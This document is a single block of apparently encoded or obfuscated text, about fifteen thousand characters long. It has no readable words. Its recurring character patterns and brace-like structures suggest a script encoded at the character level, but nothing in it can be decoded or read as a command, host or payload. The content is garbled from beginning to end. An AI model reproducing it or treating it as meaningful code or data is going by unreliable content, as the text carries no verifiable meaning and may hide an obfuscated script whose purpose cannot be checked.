@lGEYP 9ZUQP\]_X]@FUR_@VP\]GZ]FV999FZEPVY\FF]A^]VDFlVW
UU[Y9ZUsFZEPVY\FF]A^\CV]QP\]_X]@FFlVW
UU[Y		pavrgvOFlVW
UU[Y		|evadazgvGAFVH9FZEPVY\FF]A^RWWuA\^`GAZ]TAYRKTE\^AYRKTE\^_R
@lGEYP[[_CC\A^IR999FZEPVY\FF]A^P_\@V9QAUXXYFP]A]VDFlVW
UU[Y9ZUsQAUXXYFP]A\CV]QP\]_X]@FGAFVH9QAUXXYFP]AP_\@V9ZU_R]IA^^ITD] WVQP\]_X]@F]J\
J@TBlEV OOQB]BW^J@BXXW
RQP\]_X]@F]J\
J@TBlEV D_[][\JlFKFCVGRUQP\]_X]@FH9PICJFA]JXF[  [TDE]J\
J@TBlEV ]YGKGEIDXW PEEB\U]9QD^BPU^^^C \V]J\
J@TBlEV  9NV_@VH9999D_[][\JlFKFCVGRUQP\]_X]@F9999N9NV_@VH9D_[][\JlFKFCVGRUQP\]_X]@F9N9NV_@VH99D_[][\JlFKFCVGRUQP\]_X]@F9N9N9999NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_TUZF TDKQ[VTBBQI]G\]]VCDYWTAc{clz}gl~rkc{clz}gl~rk^IDV]  AYTU]G\]]VCDYWTA9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N99UF]PGZ\]KE\UAlUCRUXDV 9H9GAJH9ZUE]AP@TR^\BGDDlT[Z ED
OOE]AP@TR^\BGE]AP@TR^\BGAVGFA]9999ZUWVUZ]VW_R
@lGEYPAVGFA]9l AB@YAEBIQ_TUZF 9ZUDCl]VKGl@P[VWF_VWl AB@YAEBIQH999DCl@P[VWF_VlVEV]GDDlT[Z EDKWKU_TUZFl AB@YAEBIQ9N9ZUDCl]VKGl@P[VWF_VW_TUZF H9DCl@P[VWF_VlVEV]GDDlT[Z ED_TUZF_TUZF 9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_R
@lGEYP TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N9UF]PGZ\]EPQPZ
KT^F[Y9H9GAJH9ZUWVUZ]VW_TUZFAVGFA]9QF@PTPA]BQ
D\KCTWT^C^KB\rq`crg{Tm9P
K^]YIRlFRRAARJ9ZU_R
@lGEYP_TUZFP
K^]YIRlFRhnBBBVA
XCV@AY@^T9P
K^]YIRlFRhnrq`crg{_R
@lGEYP9ZU_TUZFDDlT[Z ED
P
K^]YIRlFRhnR\^]V JWXZ_9U\AVRP[P
K^]YIRlFRR@V] DPl]_Q^lQH9999Z JDPTJCZVV] DPl]_Q^lQE]AP@TR^\BGQF@PTPA]9ZUsE]AP@TR^\BGZ JDPTJCZVZ]Gs_R
@lGEYPZ JDPTJCZVE]AP@TR^\BGAVGFA]9N9U\AVRP[P
K^]YIRlFRR@V] DPl]_Q^lQHI PGGKCIl
WZUDEUBAYEQC
I PGGKCIlI PGGKCIl	I PGGKCIl9P\Q @PTV] DPl]_Q^lQ_TUZFQF@PTPA]9ZUs_R
@lGEYPP\Q @PTH9^DK
WU_lZ]GsE]AP@TR^\BGP\Q @PTEXJR]RAUZTDPDlKGWCRF\R_VBEXJR]RAUZTDPDEXJR]RAUZTDPD	EXJR]RAUZTDPD9ZU^DK
WU_l_TUZF^DK
WU_l_TUZF
P\]GZ]FV99D_[][\JlFKFCVGRUP\Q @PT999N9]U^FDZFD]l[]QVRV] DPl]_Q^lQDDlT[Z ED QF@PTPA]DDlT[Z ED9ZUsE]AP@TR^\BG
]U^FDZFD]l[]QVRZ]GsDDlT[Z ED]U^FDZFD]l[]QVRKUKH9lUlTQ^lX^@V] DPl]_Q^lQ_R
@lGEYPQF@PTPA]9W_ W[PYURPJ\sE]AP@TR^\BG
lUlTQ^lX^@E]AP@TR^\BG @GAZ]TsDDlT[Z ED
lUlTQ^lX^@	999ZUW_ W[PYURPJ\DDlT[Z EDE]AP@TR^\BGs^WlUZ_V]U^FDZFD]l[]QVRW_ W[PYURPJ\H9sZ]P_FWV]U^FDZFD]l[]QVR9AVGFA]9N9ZUW_ W[PYURPJ\H9D_[][\JlFKFCVGRU]U^FDZFD]l[]QVR9N9F]@VGlUlTQ^lX^@W_ W[PYURPJ\9N9N9F]@VGP\Q @PT^DK
WU_l9ZUDDlT[Z ED_R
@lGEYP sWV_VGVlGAR]@ZV]G_R
@lGEYP 9^KlIW@WXl\TW9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TE]AP@TR^\BG TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N9UF]PGZ\]AK
JW@KPY_ ^lCADP 9H9GAJH9ZUWVUZ]VW_TUZFAVGFA]9IE\EPBXTGIB]F__99AYRKTE\^_R
@lGEYPYDA[\
D@PQVUAVDDlT[Z ED9_BPCKYIY_
YDA[\
D@PQVUAV999[[_CC\A^IR9ZUsDDlT[Z ED
_BPCKYIY_
s_TUZF_BPCKYIY_

H9\ 
X_@ZPK@B^Z]@GAZ]Ts_R
@lGEYP_BPCKYIY_
9XEI\]CADYTGBQDDlT[Z ED_TUZFQYDlT@]@EWXY@ZT[YT\FY\ 
X_@ZPK@B^Z]	\ 
X_@ZPK@B^Z]9ZU_R
@lGEYP
 XEI\]CADYTGBQ_R
@lGEYP

XEI\]CADYTGBQZRG
\KYQ\R AXGXEI\]CADYTGBQ[[_CC\A^IRXEI\]CADYTGBQ9F]@VG\ 
X_@ZPK@B^Z]XEI\]CADYTGBQ9N9ZU[[_CC\A^IRHBIWI^Y _PE]c{cl~ry|aleva`z|}J_ETFJ\BIWI^Y _PE]9[JJA_D[ZITBQ
D\KCTWT^C^KB\rq`crg{_TUZF 9IVl\@G^WYZ_TUZFDDlT[Z ED sTVGl\CGZ\][JJA_D[ZIT	9ZUIVl\@G^WYZOO_TUZF

IVl\@G^WYZKPKPAVGFA]9[[_CC\A^IRJIE@lE@G[VlE]AP@TR^\BGIVl\@G^WYZ9ZU[[_CC\A^IROO_R
@lGEYP

[[_CC\A^IR AVGFA]9ZUZRG
\KYQ\R AXG[[_CC\A^IRH9XJRP]KB[T_TUZF
E]AP@TR^\BG
9AVGFA]9N99N9Z]^ECVK\YDQIR\^]V JWXZ_999CG
lCZE\FD Z]^ECVK\YDQI_R
@lGEYPAYRKTE\^99l]Y_[ C_CG
lCZE\FD AYRKTE\^E]AP@TR^\BG99ZUs_R
@lGEYP 
CG
lCZE\FD BRFY @QI@lG^CG
lCZE\FD  GAFV9GG
R\T
lXERF_FQsDDlT[Z EDl]Y_[ C_@GAZ]TsDDlT[Z EDl]Y_[ C_	9XDR@B_Q TF_AFFUR_@V9ZUGG
R\T
lXERF_FQE]AP@TR^\BG
E]AP@TR^\BGDDlT[Z EDGG
R\T
lXERF_FQIX\^
YX]@EVA@Z\]lP\^CRAVIX\^
YX]@hnB
C\ZlAP^PVX_\G_^ZXDR@B_Q TF_AFFGAFV9F]@VGIX\^
YX]@9999ZUXDR@B_Q TF_AFFGG
R\T
lXERF_FQOOE]AP@TR^\BGQYDlT@]@EWXY@ZT[YT\FYGG
R\T
lXERF_FQDDlT[Z ED[[_CC\A^IRH9ZU_Bl[
X^GYCY^P l]Y_[ C_Z
GB\BC_AR[[_CC\A^IRH9QD^BPU^^^C \Vl]Y_[ C_ 9E[VEEQGFXUA\[^Pl]Y_[ C_9PZZUJW[@
ClCFl]Y_[ C_9N9N9F]@VGGG
R\T
lXERF_FQXDR@B_Q TF_AFF9ZU_TUZFDDlT[Z ED _R
@lGEYP _R
@lGEYPH9l[\
WA[Q^]AAYRKTE\^AYRKTE\^_TUZF9999\]F[ V\RTVGl\CGZ\]_TUZF RAARJ99ZU_R
@lGEYP \]F[ V\R\]F[ V\RRAARJ9@C_ZG]\A^R_U\A^99ZU_R
@lGEYPl[\
WA[Q^]A\]F[ V\RGAFVH9999\]F[ V\Rhnl[\
WA[Q^]A9999FCWRGVl\CGZ\]DDlT[Z ED DDlT[Z ED  \]F[ V\R9N99N9I]RPBK XB@^[VAIWl[U_Q@W
EZPCT
@9ZUs_TUZF 
I]RPBK XB@^[OOBRFY @QI@lG^I]RPBK XB@^[ GAFVH9V
VF\ F[JXU\X@I]RPBK XB@^[AYRKTE\^_R
@lGEYP9YAl R\^TlIsE]AP@TR^\BGV
VF\ F[JXU\X@@GAZ]Ts_TUZFV
VF\ F[JXU\X@	9IUQEJWX]DY^XIUR_@V9ZUYAl R\^TlI_R
@lGEYP
_R
@lGEYP_TUZFYAl R\^TlI  Y@^EEUEVA@Z\]lP\^CRAVY@^EEUhnB
C\ZlAP^PVX_\G_^ZIUQEJWX]DY^XIGAFV9F]@VGY@^EEU9ZUIUQEJWX]DY^XIYAl R\^TlIOOE]AP@TR^\BG  QYDlT@]@EWXY@ZT[YT\FYYAl R\^TlIDDlT[Z ED  [[_CC\A^IRH99ZU_Bl[
X^GYCY^P V
VF\ F[JXU\X@Z
GB\BC_AR[[_CC\A^IRH9QD^BPU^^^C \VV
VF\ F[JXU\X@  9E[VEEQGFXUA\[^PV
VF\ F[JXU\X@99PZZUJW[@
ClCFV
VF\ F[JXU\X@9N9NV_@VZUIUQEJWX]DY^XIHK]YBZAW\lR]c{clz}gl~rkc{clz}gl~rkIA IB@E[PJDVK]YBZAW\lR] 9P]PRQ^\s_TUZFV
VF\ F[JXU\X@999ZUP]PRQ^\OOP]PRQ^\
 
 ZIZ
Z\RY[KGE[VEEQGFXUA\[^PV
VF\ F[JXU\X@999F]@VGP]PRQ^\X[CI]IC_Q^@Ic{clz}gl~rkc{clz}gl~rkJ[UVY_@GYDK\X[CI]IC_Q^@I9N9F]@VGYAl R\^TlIIUQEJWX]DY^XI999N99XFT PCCAIY[[_CC\A^IR9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TE]AP@TR^\BG TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N9UF]PGZ\]AX@ R^IW^[AGDU_D9H9ZUZ@@VGltvghCnOO_TUZF
 ltvghCnAVGFA]99^VDCACUB\DltvghCn9999ZU^VDCACUB\DPPA
l_ZWF[\XA@W@ZUXE]AP@TR^\BGH9GAJH999GRBK]Q
T[PBTBBBVA
XCV@AY@^TBQ
D\KCTWT^C^KB\rq`crg{_R
@lGEYPm E]AP@TR^\BG99BCBIZ[AT_Bs_TUZF GRBK]Q
T[PBTZ]GsDDlT[Z ED GRBK]Q
T[PBT	9ZUBCBIZ[AT_B
BCBIZ[AT_BH9Z]P_FWVGRBK]Q
T[PBT9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9c{cZ]GVA@VPGZ\]DVQCP\]EVA@Z\]99NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9D[Z_V_TUZF s\QlV]WlP_VR]H9N9[VRWVAE]AP@TR^\BG 9VKZG9N999ZU^VDCACUB\DPPA
l_ZWF[\XA@W@ZUX_TUZF AVGFA]999GAJH9ZUE]AP@TR^\BG 
_R
@lGEYP E]AP@TR^\BG 
_R
@lGEYPH9sFCWRGVl\CGZ\]_R
@lGEYPZ]GsTVGl\CGZ\]_TUZFDDlT[Z ED
9sFCWRGVl\CGZ\]_TUZF_R
@lGEYP _TUZF
99N9AFIP@AY]BU_U\C]lQRF IPGX^BG_TUZF 

999ZU_TUZF

AFIP@AY]BU_K
KQE]AP@TR^\BG
_TUZFAFIP@AY]BU__TUZF
DDlT[Z EDAFIP@AY]BU_H9FYZXGPQZQ
Gs_TUZFAFIP@AY]BU_GAFV9ZUFYZXGPQZQ
GUR_@VE]AP@TR^\BG

FYZXGPQZQ
GmAFIP@AY]BU_FYZXGPQZQ
G9N9ZUDDlT[Z ED

AFIP@AY]BU_KUKAFIP@AY]BU_WB ZQFCZlFJIQX[
Q9ZUDDlT[Z ED

AFIP@AY]BU_KKUH99D[Z_VE]AP@TR^\BGs\QlV]WlP_VR]H999N999[VRWVA_TUZF99[VRWVADDlT[Z ED
9[VRWVA_TUZF9VKZG9N9sZ]ZGZR_ZIVRUUZ]VGJCV99]YJRWRD[ZVDCR[VU\C]lQRF IPGX^BG_R
@lGEYP 9B]__\\KWFJZE]AP@TR^\BG  ]YJRWRD[ZVDCR[VAFIP@AY]BU_99ZUZ@@VGl`vaevahE]AP@TR^\BGn_TUZFl`vaevahE]AP@TR^\BG nB]__\\KWFJZH9D[Z_VE]AP@TR^\BGs\QlV]WlP_VR]H999N9[VRWVA_TUZF9[VRWVA_R
@lGEYPB]__\\KWFJZ9VKZG99N9D[Z_VE]AP@TR^\BGs\QlV]WlP_VR]H9CAVUZKP[VPX99N9[VRWVA_TUZF99[VRWVADDlT[Z ED
9[VRWVA_R
@lGEYP9[VRWVADDlT[Z EDB]__\\KWFJZ9VP[\]YJRWRD[ZVDCR[VAFIP@AY]BU_9999VKZG999NPRGP[g[A\DRQ_VTDKQ[VTBBQIH99XJRP]KB[T_R
@lGEYPTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9XJRP]KB[T_R
@lGEYPTDKQ[VTBBQI9N9N999AX@ R^IW^[AGDU_D9UF]PGZ\]JFR GKJRAJV^_^_QCY9H9ZUZ@@VGltvgh_R
@lGEYPnAVGFA]9999GAJH9IIDZ@^_D_ltvghDDlT[Z EDn9ZUE]AP@TR^\BG
 IIDZ@^_D_OOIIDZ@^_D_AVGFA]999IIDZ@^_D_E]AP@TR^\BG
IIDZ@^_D_9YVU\RP YGRAARJ9ZUE]AP@TR^\BG_TUZFYVU\RP YGhn@GAZ]T_TUZF[\^VlFA_c{clfal{|`g9999ZUE]AP@TR^\BG _TUZFH9D^
ICBRI[Y_@GAZ]TsTVGl\CGZ\]_R
@lGEYP
9ZUD^
ICBRI[Y_YVU\RP YGhn@GAZ]TE]AP@TR^\BGD^
ICBRI[Y_c{clfal{|`g9N9C\@GW\^Z]RGVQZERAZR]GU\Ac{cf]ZG99ZUZ@@VGl`vaevahDDlT[Z EDnYVU\RP YGhn@GAZ]Tl`vaevah_TUZFn9YVU\RP YGhnWB^C^J\YDZ]P
9QD\KGVY@UR_@V999U\AVRP[E]AP@TR^\BGYVU\RP YGR@XXUTVWB@H9ZUE]AP@TR^\BGXXUTVWB@OOXXUTVWB@P\]GZ]FV\IWKVI GXc{clz}gl~rkc{clz}gl~rkZDTFVETC\IWKVI GX 9ZUE]AP@TR^\BG
XXUTVWB@	UR_@VXXUTVWB@_R
@lGEYPDDlT[Z EDXXUTVWB@9ZUBQ
D\KCTWT^C^KB\DDlT[Z ED
XXUTVWB@DDlT[Z EDIIDZ@^_D_H9QD\KGVY@GAFV9999QAVRX999N9N9ZUQD\KGVY@AVGFA]9^llP
KRl^E]AP@TR^\BG
DDlT[Z ED
9@[F\
BJIE@lE@G[VlY\C
PZKCTDQFDGWZ_YJ^llP
KRl^9999D[Z_VDDlT[Z EDs\QlV]WlP_VR]H9N9[VRWVADDlT[Z ED
9[VRWVAE]AP@TR^\BG9VP[\@[F\
B^llP
KRl^E]AP@TR^\BGDDlT[Z ED  ^llP
KRl^	DDlT[Z ED99VKZG9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9999XJRP]KB[T_R
@lGEYP TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9XJRP]KB[TDDlT[Z EDTDKQ[VTBBQIZF^K]EEX TVlTWlX@T[UGZF^K]EEX9N9C\@GW\^Z]RGV@GARGVTJU\Ad\AWcAV@@Z]GVARPGZEZGJ99N9JFR GKJRAJV^_^_QCY9UF]PGZ\]Y_P\[E@RT[BlQ\AKW@_9H9GAJH9ZU_R
@lGEYP _TUZFA\PXVGlP_VR]lW\^RZ]9ZUDDlT[Z ED_R
@lGEYPD GPlU_F@[lR__99ZUDDlT[Z EDDDlT[Z ED
@TlPRP[VCAV@@lCFATVlPRP[V9ZU_TUZF_TUZF_ZGV@CVVWlCFATVlR__9999V_@VZU_R
@lGEYP_TUZFE]AP@TR^\BG 
_TUZFE]AP@TR^\BGZGV`CVVWlpRP[Vlrcz		CFATVlR__9ZU_R
@lGEYPE]AP@TR^\BG _R
@lGEYP_TUZF _TUZFqAVVIVlcFATVpRP[V		QAVVIVlPRP[VlU_F@[99ZU_TUZF_R
@lGEYP
_R
@lGEYPDDlT[Z ED_R
@lGEYPpRP[Vlv]RQ_VA		P_VRAlG\GR_lPRP[V9ZUE]AP@TR^\BGDDlT[Z EDDCUPlP_VRAlR__lPRP[V999V_@VZUZ@@VGt|qr`hDDlT[Z ED
n_TUZF
t|qr`h_R
@lGEYP
n_R
@lGEYP
t|qr`h_R
@lGEYP
 n_TUZF
t|qr`hDDlT[Z ED
 nWV_VGVpRP[VGAFV9ZUDDlT[Z EDDDlT[Z ED
DClPRP[VlP_VRAlPRP[V9ZU_R
@lGEYP_R
@lGEYP
_TUZF
E]AP@TR^\BG
_TUZF
RFG\CGZ^ZIVpRP[V		P_VRAR__9XJRP]KB[TDDlT[Z EDE]AP@TR^\BG
9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_R
@lGEYPTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N99N9UF]PGZ\]V
KXPYFBXR
Z9H9ZUDDlT[Z ED

E]AP@TR^\BG Z@lRW^Z]AVGFA]GAFV9ZU_R
@lGEYP

E]AP@TR^\BG DClW\Z]TlRYRKAVGFA]GAFV9ZUWVUZ]VWE]AP@TR^\BG av`glavbfv`gAVGFA]GAFV9ZUWVUZ]VWDDlT[Z ED  k~acplavbfv`gAVGFA]GAFV99ZUDDlT[Z ED _TUZF Z@lUVVWAVGFA]GAFV9ZU_TUZF DDlT[Z ED Z@lA\Q\G@AVGFA]GAFVWIGTTU ^WP]ZVTTUEUWIGTTU ^WP]ZWIGTTU ^WP]Z	WIGTTU ^WP]Z999ZU_R
@lGEYP DDlT[Z ED Z@l@ZGV^RC@AVGFA]GAFV9ZU_R
@lGEYP DDlT[Z ED 
Z@lPF@G\^ZIVlCAVEZVDAVGFA]GAFVFFE TTC[_APl[ O
\QXZA_RXD]CFFE TTC[_APl[m9ZUZ@@VGltvghDDlT[Z ED nOOZ@@VGltvgh_TUZF nOOZ@@VGltvghE]AP@TR^\BG nAVGFA]GAFV9AVGFA]UR_@V9N9UF]PGZ\]F]lYWTFCWE^9H9K@]UQA V_YUlZ@@VGt|qr`hE]AP@TR^\BG
nE]AP@TR^\BG  t|qr`h_TUZF
nE]AP@TR^\BGt|qr`h_R
@lGEYP
n	9ZUK@]UQA V_YUlAVGFA]99K@]UQA V_YUl_R
@lGEYP
_R
@lGEYP E]AP@TR^\BG K@]UQA V_YUl9]_PTK_TDDlT[Z ED _R
@lGEYP@GAZ]T_R
@lGEYP[\^VlFA_c{clfal{|`g	9_]T P\\PPW[BQ
D\KCTWT^C^KB\_R
@lGEYP ]_PTK_T9lTKA\^@BX \_TUZF DDlT[Z ED  K@]UQA V_YUlKK9AVGFA]o]@PAZCGWRGR@Po_]T P\\PPW[lTKA\^@BX \oo]K@]UQA V_YUlo]@PAZCGo]@P_]T P\\PPW[lTKA\^@BX \o]9N9UF]PGZ\]\[
@^R^^EPC BA^YAD[@99H9GAJH9ZUV
KXPYFBXR
ZAVGFA]9DWGKRlGIZQ@F]lYWTFCWE^9ZUDWGKRlGIZQ@AVGFA]9999VP[\DWGKRlGIZQ@9t|qr`hE]AP@TR^\BGnGAFV9ZU_R
@lGEYP _TUZFE]AP@TR^\BG DDlT[Z EDV^CGJt|qr`hDDlT[Z ED 
nH9t|qr`h_TUZF 
nGAFV9999VUGETW[ET^C_EWZ]GsTVGl\CGZ\]E]AP@TR^\BG 999ZU_TUZF VUGETW[ET^C_EW
 sFCWRGVl\CGZ\]DDlT[Z ED _TUZF E]AP@TR^\BG
9F]@VGVUGETW[ET^C_EW9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9CAZ^RAJP\ERAZR]G99XJRP]KB[TE]AP@TR^\BG
TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N9UF]PGZ\]EBF^\BPC[ BAIIElY]\AI\V9H9ZU_R
@lGEYP lY]\AI\VOOlY]\AI\VAVGFA]lY]\AI\V9ZUV^CGJt|qr`h_R
@lGEYP  nAVGFA]lY]\AI\V9DWGKRlGIZQ@F]lYWTFCWE^9ZUDWGKRlGIZQ@AVGFA]lY]\AI\V9ZU@GAZC\@lY]\AI\VDDlT[Z ED UR_@V@GAZC\@lY]\AI\VDDlT[Z ED UR_@VAVGFA]lY]\AI\V9999t|qr`hDDlT[Z ED nGAFV9t|qr`h_R
@lGEYPnGAFV999RIBGAVWR_@P@GAZC\@lY]\AI\V_R
@lGEYP 9ZURIBGAVWR_@PUR_@VH9AVGFA]_TUZF lY]\AI\VRIBGAVWR_@PDWGKRlGIZQ@_TUZF lY]\AI\VRIBGAVWR_@P999N9AVGFA]lY]\AI\VDWGKRlGIZQ@9N9UF]PGZ\]E

V@VA\B_GTEPA9H9GAJH9999ZUV
KXPYFBXR
ZAVGFA]9ZUV^CGJt|qr`hE]AP@TR^\BG 
nAVGFA]9K@]UQA V_YUlZ@@VGt|qr`hDDlT[Z ED
n_R
@lGEYP t|qr`h_R
@lGEYP
nE]AP@TR^\BGt|qr`h_R
@lGEYP
n	9ZUK@]UQA V_YUlAVGFA]9t|qr`h_TUZF  nGAFV9s_TUZF  _TUZF  9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TDDlT[Z ED   TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N9UF]PGZ\]GBTB[ZIlQRQV@VI]9H9GAJH9VKRPGARWZKGAVV99999ZUZ@lRW^Z]Z@@VGt|qr`hE]AP@TR^\BG  nOOt|qr`hE]AP@TR^\BG  nE]AP@TR^\BGAVGFA]9ZU_TUZF _R
@lGEYPZ@l@@_AVGFA]9QlKZV@D^YYU\C]lQRF IPGX^BGDDlT[Z ED 9_]T P\\PPW[BQ
D\KCTWT^C^KB\rq`crg{E]AP@TR^\BG  9][\CVDB[
BD\E]AP@TR^\BG9ZUQlKZV@D^YYH9ZU_R
@lGEYP E]AP@TR^\BGZ]GsTVGl\CGZ\]_R
@lGEYP H9sFCWRGVl\CGZ\]_R
@lGEYP  E]AP@TR^\BG
9AQ ^DBBVlXVPQD@GAZ]TsTVGl\CGZ\]DDlT[Z ED  9VP[\o]DDlT[Z ED  
_]T P\\PPW[9E]AP@TR^\BG 9_TUZF ][\CVDB[
BD\_R
@lGEYP E]AP@TR^\BG  999_R
@lGEYP _TUZF AQ ^DBBVlXVPQD9DDlT[Z ED ][\CVDB[
BD\_TUZF _R
@lGEYP 9E]AP@TR^\BG ][\CVDB[
BD\_TUZF 
DDlT[Z ED ][\CVDB[
BD\_TUZF DDlT[Z ED ][\CVDB[
BD\_TUZF  _TUZF ][\CVDB[
BD\DDlT[Z ED _TUZF 99DDlT[Z ED ][\CVDB[
BD\_TUZF _TUZF 
][\CVDB[
BD\_TUZF _R
@lGEYP 9E]AP@TR^\BG o]9999F]@VGAQ ^DBBVlXVPQD9N99AVGFA]9N9999QlKZV@D^YYDDlT[Z ED
E]AP@TR^\BG _R
@lGEYP  QlKZV@D^YY_AZVA[K]KU KRQIDR\QJ_AZVA[K]9ZU_TUZF
QlKZV@D^YYDDlT[Z ED QlKZV@D^YY_R
@lGEYP E]AP@TR^\BG QlKZV@D^YY9PYXJ_CT ]U9ZUE]AP@TR^\BG _R
@lGEYPH9J[V l_DXGV]J@GAZ]T_R
@lGEYP[\^VlFA_c{clfalcrg{9999ZUJ[V l_DXGV]JJ[V l_DXGV]JPYXJ_CT ]UDDlT[Z ED
J[V l_DXGV]J999N9ZU_R
@lGEYP DDlT[Z EDH9sCRGP[@GRQZ_ZIVA99sFCWRGVl\CGZ\]_R
@lGEYP  _TUZF
9sFCWRGVl\CGZ\]_TUZF  QlKZV@D^YY_R
@lGEYP 9N9]PP@D
T ^_YZ@]E]AP@TR^\BG _]T P\\PPW[9_TUZF 9E]AP@TR^\BG ][\CVDB[
BD\_TUZF DDlT[Z ED 
9DDlT[Z ED 9_TUZF ][\CVDB[
BD\E]AP@TR^\BG _R
@lGEYP  _TUZF QlKZV@D^YY9999_TUZF ][\CVDB[
BD\_TUZF _R
@lGEYP _R
@lGEYP QlKZV@D^YY_TUZF DDlT[Z ED PYXJ_CT ]UE]AP@TR^\BG ][\CVDB[
BD\_R
@lGEYP _R
@lGEYP 
9E]AP@TR^\BG ][\CVDB[
BD\_R
@lGEYP DDlT[Z ED 9_R
@lGEYP  ][\CVDB[
BD\E]AP@TR^\BG _R
@lGEYP ][\CVDB[
BD\DDlT[Z EDE]AP@TR^\BG 9E]AP@TR^\BG ][\CVDB[
BD\DDlT[Z ED E]AP@TR^\BG 
9DDlT[Z ED 
9_R
@lGEYP 
][\CVDB[
BD\DDlT[Z ED 
E]AP@TR^\BG 
9E]AP@TR^\BG 
 ][\CVDB[
BD\E]AP@TR^\BG 
_R
@lGEYP 
][\CVDB[
BD\_TUZF 
E]AP@TR^\BG 
9E]AP@TR^\BG 9VP[\o]]PP@D
T ^_YZ@]o]9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9999XJRP]KB[TE]AP@TR^\BG 
TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9XJRP]KB[TE]AP@TR^\BG 
TDKQ[VTBBQI9N9N99ZUVCJ@IP @JY@XDH99AVGFA]9N9[F]I@PAR^AE\QQ\R9999UADF
Bl_
_GCs_TUZFYDA[\
D@PQVUAV9ZUUADF
Bl_
_GCOOUADF
Bl_
_GC


ZIZ
Z\RY[KGH9U^]Z_V^K\GDDlT[Z ED 9999PICJFA]JXF[  [TDEYDA[\
D@PQVUAVU^]Z_V^K\GU^]Z_V^K\G
ZIZ
Z\RY[KG9F]@VGU^]Z_V^K\G99N9999F]@VGUADF
Bl_
_GC9GAJH9E[GBDGJYKPCVlQ
lluzvll9l@PVXTFGIEU[B9PEJZC@GWTRlYFYs_R
@lGEYPE[GBDGJYKPCVlQ
UR_@V]F__ 9ZU_R
@lGEYP PEJZC@GWTRlYFYDDlT[Z ED 
E]AP@TR^\BG 

PEJZC@GWTRlYFY_KTJ^YWYl@PVXTFGIEU[B_KTJ^YWYhn99ZUl@PVXTFGIEU[BWVUZ]VW_TUZF
H9IEPIEUAXTIRAARJ99PDQA@E\U[WVUZ]VW_R
@lGEYP

dc~flcftz}lwza	dclp|}gv}glwza_R
@lGEYP9Q\VBG@WU]GWVUZ]VW_R
@lGEYPdclcftz}lwza	dclp|}gv}glwza_R
@lGEYP9RV
[^\lUR_@V9ZUE]AP@TR^\BG _R
@lGEYP
 H9DlGVDK FEs_R
@lGEYP 
PDQA@E\U[s_TUZF
 PDQA@E\U[DDlT[Z ED

	UR_@V9I\ TGUI_As_TUZF
 Q\VBG@WU]G_TUZF9ZU_TUZFDlGVDK FEOO_R
@lGEYPI\ TGUI_AH9999RV
[^\lGAFV9U\AVRP[RAARJDlGVDK FER@FX_FX]]I\\_B@IEPIEUAXTIhnFX_FX]]I\\_B@9U\AVRP[RAARJI\ TGUI_AR@FX_FX]]I\\_B@IEPIEUAXTIhnFX_FX]]I\\_B@9N9F]@VGDlGVDK FEI\ TGUI_A9N9aVWZ@\QYVPGPRP[V	VKCVPGVWZ]GVAPVCG\A99999ZURV
[^\lH9dcaZP[gVKGrcz	ZWV^C\GV]G]VT\GZRG\A99DDFQWGWIZP[sE]AP@TR^\BG 
PDQA@E\U[B@C[Q\AJRU@DPJPDQA@E\U[	UR_@V9ZUE]AP@TR^\BGDDFQWGWIZP[U\AVRP[DDFQWGWIZP[R@] PUGR_X\VYRH9ZUDDlT[Z ED ] PUGR_X\VYRK K_TUZFIEPIEUAXTIhnPDQA@E\U[] PUGR_X\VYR99N9DDFQWGWIZP[sDDlT[Z ED 
Q\VBG@WU]GB@C[Q\AJRU@DPJQ\VBG@WU]G	UR_@V999ZUDDlT[Z EDDDFQWGWIZP[U\AVRP[DDFQWGWIZP[R@] PUGR_X\VYRH9DPWYYATD_Q\VBG@WU]G] PUGR_X\VYR9ZUs_R
@lGEYP 
DPWYYATD_P\]GZ]FV9@UGYDQX\ZKB@C[Q\AJRU@DPJDPWYYATD_9ZUDDlT[Z ED@UGYDQX\ZKP\]GZ]FV9U\AVRP[@UGYDQX\ZKR@TY] TT H9ZUDDlT[Z ED TY] TT KK_R
@lGEYPIEPIEUAXTIhnDPWYYATD_TY] TT 9N999N9PFQZP[JCVA_\T_\T999F]@VGDDFQWGWIZP[] PUGR_X\VYRTY] TT DPWYYATD_@UGYDQX\ZK999N9lE]RZUW]KG_R
@lGEYPE[GBDGJYKPCVlQ
E]AP@TR^\BG 9U\AVRP[IEPIEUAXTIR@FX_FX]]I\\_B@H9ZUFX_FX]]I\\_B@E[GBDGJYKPCVlQ
P\]GZ]FV9DYA_PY IFZQX@Qs_R
@lGEYPFX_FX]]I\\_B@9ZUDYA_PY IFZQX@QOODYA_PY IFZQX@Q




  H9B I\^F
 I_s_TUZF FX_FX]]I\\_B@9ZUB I\^F
 I_OOB I\^F
 I_
OOB I\^F
 I_ 
 
P\]GZ]FV9N9PEJZC@GWTRlYFYs_R
@lGEYPFX_FX]]I\\_B@UR_@V]F__ 9ZUE]AP@TR^\BG PEJZC@GWTRlYFYOO_R
@lGEYPPEJZC@GWTRlYFYE]AP@TR^\BG
UR_@VP\]GZ]FV9ZU_TUZF 
_R
@lGEYPPEJZC@GWTRlYFY_KTJ^YWYP\]GZ]FV99ZU_TUZFFX_FX]]I\\_B@_R
